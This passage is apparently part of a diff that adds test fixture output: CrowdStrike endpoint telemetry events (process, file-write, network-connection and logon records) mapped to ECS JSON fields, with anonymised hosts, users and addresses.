}, + "process": { + "args": [ + "/usr/bin/plutil", + "-convert", + "xml1", + "-o", + "/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist" + ], + "args_count": 6, + "command_line": "/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist", + "entity_id": "311776004953765502", + "executable": "/usr/bin/plutil", + "hash": { + "md5": "d51cef1b288e2032aee9805deff04bfd", + "sha256": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3" + }, + "name": "plutil", + "parent": { + "entity_id": "311774817965726568" + }, + "pgid": 311774817965726568, + "pid": 10692, + "real_user": { + "id": "0" + }, + "start": "2020-11-08T17:05:11.240Z" + }, + "related": { + "hash": [ + "d51cef1b288e2032aee9805deff04bfd", + "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3", + "3344040805" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "0" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "Ext": { + "real": { + "id": "0" + } + }, + "group": { + "id": "0" + }, + "id": "0" + } + }, + { + "@timestamp": "2020-11-08T17:05:14.427Z", + "crowdstrike": { + "ConfigStateHash": "3899738370", + "ContextProcessId": "1546527409909", + "ContextTimeStamp": "2020-11-08T17:05:14.133Z", + "DesiredAccess": "1180054", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "FileAttributes": "0", + "FileObject": "18446655033844205120", + "Information": "2", + "IrpFlags": "2180", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "Options": "88080484", + "ShareAccess": "1", + "Status": "0", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-80b5-06e11a66e03d", + "name": "NewScriptWrittenV7" + }, + "device": { + "id": "ffffffff8f1e4b77b4dae5debaa1c8bc" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2020-11-08T17:05:14.427Z", + "id": "ffffffff-1111-11eb-80b5-06e11a66e03d|ffffffff8f1e4b77b4dae5debaa1c8bc|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3899738370\",\"ContextProcessId\":\"1546527409909\",\"ContextThreadId\":\"4711690090889\",\"ContextTimeStamp\":\"1604855114.133\",\"DesiredAccess\":\"1180054\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"0\",\"FileIdentifier\":\"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00\",\"FileObject\":\"18446655033844205120\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"88080484\",\"ShareAccess\":\"1\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\Temp\\\\__PSScriptPolicyTest_dvkjnbka.apn.ps1\",\"aid\":\"ffffffff8f1e4b77b4dae5debaa1c8bc\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewScriptWritten\",\"id\":\"ffffffff-1111-11eb-80b5-06e11a66e03d\",\"name\":\"NewScriptWrittenV7\",\"timestamp\":\"1604855114427\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume4\\Windows\\Temp", + "extension": "ps1", + "inode": "501ee2c32e53fb43b07f419f3236fb45c29e000000002c00", + "name": "__PSScriptPolicyTest_dvkjnbka.apn.ps1", + "path": "\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1", + "type": "file" + }, + "host": { + "id": "ffffffff8f1e4b77b4dae5debaa1c8bc", + "os": { + "type": "windows" + } + }, + "message": "NewScriptWritten", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff8f1e4b77b4dae5debaa1c8bc", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "1546527409909", + "thread": { + "id": 4711690090889 + } + }, + "related": { + "hash": [ + "3899738370" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:05:16.502Z", + "crowdstrike": { + "ConfigStateHash": "1306766522", + "ConnectionFlags": "0", + "ContextProcessId": "321275232072440993", + "ContextTimeStamp": "2020-11-08T17:05:16.421Z", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP4": [ + "0.0.0.0" + ], + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-aca9-02683aed2a0d", + "name": "NetworkConnectIP4MacV5" + }, + "destination": { + "address": "0.0.0.0", + "ip": "0.0.0.0", + "port": 0 + }, + "device": { + "id": "ffffffffd4094240a6b1d12aaf304f4f" + }, + "event": { + "action": "NetworkConnectIP4", + "category": [ + "network" + ], + "created": "2020-11-08T17:05:16.502Z", + "id": "ffffffff-1111-11eb-aca9-02683aed2a0d|ffffffffd4094240a6b1d12aaf304f4f|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.4.0012205.1\",\"ConfigStateHash\":\"1306766522\",\"ConnectionDirection\":\"1\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321275232072440993\",\"ContextTimeStamp\":\"1604855116.421\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"0.0.0.0\",\"LocalPort\":\"0\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"67.43.156.14\",\"RemotePort\":\"443\",\"aid\":\"ffffffffd4094240a6b1d12aaf304f4f\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkConnectIP4\",\"id\":\"ffffffff-1111-11eb-aca9-02683aed2a0d\",\"name\":\"NetworkConnectIP4MacV5\",\"timestamp\":\"1604855116502\"}", + "outcome": "unknown", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "ffffffffd4094240a6b1d12aaf304f4f", + "os": { + "type": "macos" + } + }, + "message": "NetworkConnectIP4", + "network": { + "direction": "inbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffffd4094240a6b1d12aaf304f4f", + "version": "1007.4.0012205.1" + }, + "process": { + "entity_id": "321275232072440993" + }, + "related": { + "hash": [ + "1306766522" + ], + "ip": [ + "67.43.156.13", + "0.0.0.0", + "67.43.156.14" + ] + }, + "source": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14", + "port": 443 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:05:16.942Z", + "crowdstrike": { + "ConfigStateHash": "2602391615", + "ConnectionFlags": "0", + "ContextProcessId": "223442259384", + "ContextTimeStamp": "2020-11-08T17:05:16.849Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP4": [ + "67.43.156.14" + ], + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-b0eb-06be7616c211", + "name": "NetworkConnectIP4V5" + }, + "destination": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14", + "port": 443 + }, + "device": { + "id": "fffffffff000426eb99afaa2ccdcbc17" + }, + "event": { + "action": "NetworkConnectIP4", + "category": [ + "network" + ], + "created": "2020-11-08T17:05:16.942Z", + "id": "ffffffff-1111-11eb-b0eb-06be7616c211|fffffffff000426eb99afaa2ccdcbc17|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2602391615\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"223442259384\",\"ContextTimeStamp\":\"1604855116.849\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"67.43.156.14\",\"LocalPort\":\"53961\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"67.43.156.14\",\"RemotePort\":\"443\",\"aid\":\"fffffffff000426eb99afaa2ccdcbc17\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkConnectIP4\",\"id\":\"ffffffff-1111-11eb-b0eb-06be7616c211\",\"name\":\"NetworkConnectIP4V5\",\"timestamp\":\"1604855116942\"}", + "outcome": "unknown", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "fffffffff000426eb99afaa2ccdcbc17", + "os": { + "type": "windows" + } + }, + "message": "NetworkConnectIP4", + "network": { + "community_id": "1:gnQhhn0wJhJU+wrHlczmnm7THKs=", + "direction": "outbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "fffffffff000426eb99afaa2ccdcbc17", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "223442259384" + }, + "related": { + "hash": [ + "2602391615" + ], + "ip": [ + "67.43.156.13", + "67.43.156.14" + ] + }, + "source": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14", + "port": 53961 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:05:21.077Z", + "crowdstrike": { + "AuthenticationId": "6580764513", + "AuthenticationPackage": "Negotiate", + "ConfigStateHash": "3011122681", + "ContextProcessId": "816054990879", + "ContextTimeStamp": "2020-11-08T17:04:51.781Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "LogonTime": "2020-11-08T17:04:51.781Z", + "LogonType": "9", + "RemoteAccount": "1", + "UserFlags": "0", + "UserLogonFlags": "12", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-a8cf-0649c95cfa1d", + "name": "UserLogonV8" + }, + "device": { + "id": "ffffffff8d2e4b4f9b21b40633a8d579" + }, + "event": { + "action": "UserLogon", + "category": [ + "authentication" + ], + "created": "2020-11-08T17:05:21.077Z", + "id": "ffffffff-1111-11eb-a8cf-0649c95cfa1d|ffffffff8d2e4b4f9b21b40633a8d579|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"6580764513\",\"AuthenticationPackage\":\"Negotiate\",\"ClientComputerName\":\"-\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"816054990879\",\"ContextThreadId\":\"52913017705957\",\"ContextTimeStamp\":\"1604855091.781\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonDomain\":\"NT AUTHORITY\",\"LogonServer\":\"\",\"LogonTime\":\"1604855091.781\",\"LogonType\":\"9\",\"PasswordLastSet\":\"\",\"RemoteAccount\":\"1\",\"UserFlags\":\"0\",\"UserIsAdmin\":\"0\",\"UserLogonFlags\":\"12\",\"UserName\":\"SYSTEM\",\"UserPrincipal\":\"user4@dom2\",\"UserSid\":\"S-1-5-18\",\"aid\":\"ffffffff8d2e4b4f9b21b40633a8d579\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogon\",\"id\":\"ffffffff-1111-11eb-a8cf-0649c95cfa1d\",\"name\":\"UserLogonV8\",\"timestamp\":\"1604855121077\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "domain": "NT AUTHORITY", + "id": "ffffffff8d2e4b4f9b21b40633a8d579", + "os": { + "type": "windows" + } + }, + "message": "UserLogon", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff8d2e4b4f9b21b40633a8d579", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "816054990879", + "thread": { + "id": 52913017705957 + } + }, + "related": { + "hash": [ + "3011122681" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "SYSTEM", + "user4", + "user4@dom2", + "S-1-5-18" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "dom2", + "email": "user4@dom2", + "full_name": "user4", + "id": "S-1-5-18", + "name": "SYSTEM" + } + }, + { + "@timestamp": "2020-11-08T17:05:21.109Z", + "crowdstrike": { + "AuthenticationId": "2007206396", + "ConfigStateHash": "3011122681", + "ContextProcessId": "4415814628770", + "ContextTimeStamp": "2020-11-08T17:05:20.785Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "FileEcpBitmask": "0", + "FileObject": "18446708893089967904", + "IrpFlags": "1028", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "IsTransactedFile": "0", + "MajorFunction": "18", + "MinorFunction": "0", + "OperationFlags": "0", + "SHA256HashData": "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182", + "TokenType": "1", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-b091-06f6cca0a049", + "name": "PeFileWrittenV14" + }, + "device": { + "id": "ffffffff2c47454cba360bc404a607bb" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2020-11-08T17:05:21.109Z", + "id": "ffffffff-1111-11eb-b091-06f6cca0a049|ffffffff2c47454cba360bc404a607bb|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"2007206396\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"4415814628770\",\"ContextThreadId\":\"41392001729898\",\"ContextTimeStamp\":\"1604855120.785\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_1000\\u0026DEV_0054\\u0026SUBSYS_197615AD\\u0026REV_01\\\\4\\u00261f16fef7\\u00260\\u002600A8\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c\",\"FileObject\":\"18446708893089967904\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"0\",\"IsTransactedFile\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"SHA256HashData\":\"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182\",\"Size\":\"6144\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume2\\\\Users\\\\user10\\\\AppData\\\\Local\\\\Temp\\\\ec1ijefl.dll\",\"TokenType\":\"1\",\"aid\":\"ffffffff2c47454cba360bc404a607bb\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"PeFileWritten\",\"id\":\"ffffffff-1111-11eb-b091-06f6cca0a049\",\"name\":\"PeFileWrittenV14\",\"timestamp\":\"1604855121109\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "PCI\\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\\4&1f16fef7&0&00A8", + "directory": "\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp", + "extension": "dll", + "hash": { + "sha256": "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182" + }, + "inode": "b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c", + "name": "ec1ijefl.dll", + "path": "\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll", + "size": 6144, + "type": "file" + }, + "host": { + "id": "ffffffff2c47454cba360bc404a607bb", + "os": { + "type": "windows" + } + }, + "message": "PeFileWritten", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff2c47454cba360bc404a607bb", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "4415814628770", + "thread": { + "id": 41392001729898 + } + }, + "related": { + "hash": [ + "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182", + "3011122681" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:05:34.461Z", + "crowdstrike": { + "AuthenticationId": "317005428", + "AuthenticationPackage": "Negotiate", + "ConfigStateHash": "3950066843", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "LogoffTime": "2020-11-08T17:05:32.756Z", + "LogonServer": "srv2", + "LogonTime": "2020-11-08T17:05:31.666Z", + "LogonType": "7", + "PasswordLastSet": "1598119332.510", + "RemoteAccount": "1", + "UserFlags": "32", + "UserLogoffType": "3", + "UserLogonFlags": "0", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8913-0287fd11c79b", + "name": "UserLogoffV3" + }, + "device": { + "id": "ffffffffe0104823bd3de859d5bc8bc7" + }, + "event": { + "action": "UserLogoff", + "category": [ + "authentication" + ], + "created": "2020-11-08T17:05:34.461Z", + "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"timestamp\":\"1604855134461\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "domain": "dom1", + "id": "ffffffffe0104823bd3de859d5bc8bc7", + "os": { + "type": "windows" + } + }, + "message": "UserLogoff", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffffe0104823bd3de859d5bc8bc7", + "version": "1007.3.0011603.1" + }, + "related": { + "hash": [ + "3950066843" + ], + "hosts": [ + "srv2" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "user4", + "user.name", + "user.name@dom2.com", + "S-1-5-21-606747145-1364589140-725345543-28636" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "dom2.com", + "email": "user.name@dom2.com", + "full_name": "user.name", + "id": "S-1-5-21-606747145-1364589140-725345543-28636", + "name": "user4" + } + }, + { + "@timestamp": "2020-11-08T17:05:49.643Z", + "crowdstrike": { + "ConfigStateHash": "537307300", + "ContextProcessId": "635780922149", + "ContextTimeStamp": "2020-11-08T17:03:45.966Z", + "DesiredAccess": "1180054", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "FileAttributes": "128", + "FileObject": "18446695174291796544", + "Information": "2", + "IrpFlags": "2180", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "Options": "83886176", + "ShareAccess": "3", + "Status": "0", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-93cb-067deb43537b", + "name": "NewExecutableWrittenV1" + }, + "device": { + "id": "ffffffff425942f58382dbb11350eeda" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2020-11-08T17:05:49.643Z", + "id": "ffffffff-1111-11eb-93cb-067deb43537b|ffffffff425942f58382dbb11350eeda|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"537307300\",\"ContextProcessId\":\"635780922149\",\"ContextThreadId\":\"9479299143023\",\"ContextTimeStamp\":\"1604855025.966\",\"DesiredAccess\":\"1180054\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"128\",\"FileIdentifier\":\"0e02a8c7ed9d244887cef0409af0e6190030000000001100\",\"FileObject\":\"18446695174291796544\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"83886176\",\"ShareAccess\":\"3\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Program Files\\\\Snow Software\\\\Inventory\\\\Agent\\\\cloudmeteringhost.exe\",\"aid\":\"ffffffff425942f58382dbb11350eeda\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewExecutableWritten\",\"id\":\"ffffffff-1111-11eb-93cb-067deb43537b\",\"name\":\"NewExecutableWrittenV1\",\"timestamp\":\"1604855149643\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent", + "extension": "exe", + "inode": "0e02a8c7ed9d244887cef0409af0e6190030000000001100", + "name": "cloudmeteringhost.exe", + "path": "\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe", + "type": "file" + }, + "host": { + "id": "ffffffff425942f58382dbb11350eeda", + "os": { + "type": "windows" + } + }, + "message": "NewExecutableWritten", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff425942f58382dbb11350eeda", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "635780922149", + "thread": { + "id": 9479299143023 + } + }, + "related": { + "hash": [ + "537307300" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:05:50.545Z", + "crowdstrike": { + "ConfigStateHash": "3765958535", + "ConnectionFlags": "0", + "ContextProcessId": "50714198593318", + "ContextTimeStamp": "2020-11-08T17:05:50.066Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP4": [ + "127.0.0.1" + ], + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8726-063418e4a9e7", + "name": "NetworkListenIP4V5" + }, + "destination": { + "address": "0.0.0.0", + "ip": "0.0.0.0", + "port": 0 + }, + "device": { + "id": "ffffffffa51b4acf9dbc1fc273e6145c" + }, + "event": { + "action": "NetworkListenIP4", + "category": [ + "network" + ], + "created": "2020-11-08T17:05:50.545Z", + "id": "ffffffff-1111-11eb-8726-063418e4a9e7|ffffffffa51b4acf9dbc1fc273e6145c|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ConnectionDirection\":\"2\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"50714198593318\",\"ContextThreadId\":\"194302491825207\",\"ContextTimeStamp\":\"1604855150.066\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"127.0.0.1\",\"LocalPort\":\"59491\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"0.0.0.0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffa51b4acf9dbc1fc273e6145c\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkListenIP4\",\"id\":\"ffffffff-1111-11eb-8726-063418e4a9e7\",\"name\":\"NetworkListenIP4V5\",\"timestamp\":\"1604855150545\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffffa51b4acf9dbc1fc273e6145c", + "os": { + "type": "windows" + } + }, + "message": "NetworkListenIP4", + "network": { + "direction": "unknown", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffa51b4acf9dbc1fc273e6145c", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "50714198593318", + "thread": { + "id": 194302491825207 + } + }, + "related": { + "hash": [ + "3765958535" + ], + "ip": [ + "67.43.156.14", + "127.0.0.1", + "0.0.0.0" + ] + }, + "source": { + "address": "127.0.0.1", + "ip": "127.0.0.1", + "port": 59491 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:05:54.274Z", + "crowdstrike": { + "ClientComputerName": "com1", + "ConfigStateHash": "3011122681", + "ContextProcessId": "7073822473144", + "ContextTimeStamp": "2020-11-08T17:05:52.993Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "EtwRawThreadId": 5304, + "LogonType": "3", + "Status": "3221225581", + "SubStatus": "3221225578", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-a8aa-067029dffccb", + "name": "UserLogonFailed2V2" + }, + "destination": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14" + }, + "device": { + "id": "ffffffffd8844a59acce5e1f4ad01888" + }, + "event": { + "action": "UserLogonFailed2", + "category": [ + "authentication" + ], + "created": "2020-11-08T17:05:54.274Z", + "id": "ffffffff-1111-11eb-a8aa-067029dffccb|ffffffffd8844a59acce5e1f4ad01888|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ClientComputerName\":\"com1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"7073822473144\",\"ContextThreadId\":\"48689911139327\",\"ContextTimeStamp\":\"1604855152.993\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"EtwRawProcessId\":\"744\",\"EtwRawThreadId\":\"5304\",\"LogonDomain\":\"BROADCAST\",\"LogonType\":\"3\",\"RemoteAddressIP4\":\"67.43.156.14\",\"Status\":\"3221225581\",\"SubStatus\":\"3221225578\",\"UserName\":\"user5\",\"aid\":\"ffffffffd8844a59acce5e1f4ad01888\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogonFailed2\",\"id\":\"ffffffff-1111-11eb-a8aa-067029dffccb\",\"name\":\"UserLogonFailed2V2\",\"timestamp\":\"1604855154274\"}", + "outcome": "failure", + "type": [ + "start" + ] + }, + "host": { + "domain": "BROADCAST", + "id": "ffffffffd8844a59acce5e1f4ad01888", + "os": { + "type": "windows" + } + }, + "message": "UserLogonFailed2", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + 